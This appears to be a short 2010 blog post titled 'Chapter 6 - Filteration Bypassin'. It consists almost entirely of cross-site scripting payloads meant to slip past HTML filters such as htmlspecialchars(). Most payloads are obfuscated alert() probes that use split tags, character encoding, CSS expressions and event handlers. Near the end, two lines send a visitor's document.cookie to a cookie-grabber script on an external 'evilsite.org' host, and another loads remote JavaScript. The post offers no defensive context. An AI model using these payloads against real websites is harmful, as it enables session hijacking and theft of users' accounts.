Selasa, 23 November 2010

=======Chapter 6 - Filteration Bypassin=======

actually it's not that easy to bypass htmlspecialchars()
here some other example of xss Bypass:

<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;
URL=http://;URL=javascript:alert('XSS');\">

<META HTTP-EQUIV=\"refresh\"
CONTENT=\"0;url=javascript:alert('XSS');\">

'">><marquee><h1>XSS</h1></marquee>

'">><script>alert('XSS')</script>

'>><marquee><h1>XSS</h1></marquee>

"><script alert(String.fromCharCode(88,83,83))</script>

<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>

<div
style="x:expression((window.r==1)?'':eval('r=1;ale rt(String.fromCharCo
de(88,83,83));'))">

window.alert("Xyli !");

"/></a></><img src=1.gif onerror=alert(1)>

[color=red' onmouseover="alert('xss')"]mouse over

<body onLoad="alert('XSS');"

<body onunload="javascript:alert('XSS');">

click me

<script language="JavaScript">alert('XSS')</script>

<img src="javascript:alert('XSS')">

'); alert('XSS

<font style='color:expression(alert(document.cookie))'>

<IMG DYNSRC=\"javascript:alert('XSS')\">

<IMG LOWSRC=\"javascript:alert('XSS')\">

</textarea><script>alert(/xss/)</script>

</title><script>alert(/xss/)</script>

<script src=http://yoursite.com/your_files.js></script>

"><script>alert(0)</script>

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83) )>

<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">

<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">

<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">

<marquee><script>alert('XSS')</script></marquee>

<? echo('<scr)';
echo('ipt>alert(\"XSS\")</script>'); ?>

<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">

<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">

<marquee><script>alert('XSS')</script></marquee>

<style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>

<img src=foo.png onerror=alert(/xssed/) />

<script>alert(String.fromCharCode(88,83,83))</script>

<scr<script>ipt>alert('XSS');</scr</script>ipt>

<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+
escape(document.cookie)</script>

<script src="http://www.evilsite.org/cookiegrabber.php"></script>

<script>alert('XSS');</script>

<script>alert(1);</script>


Here and there is of it full with others
google is your friends

0 komentar:

Posting Komentar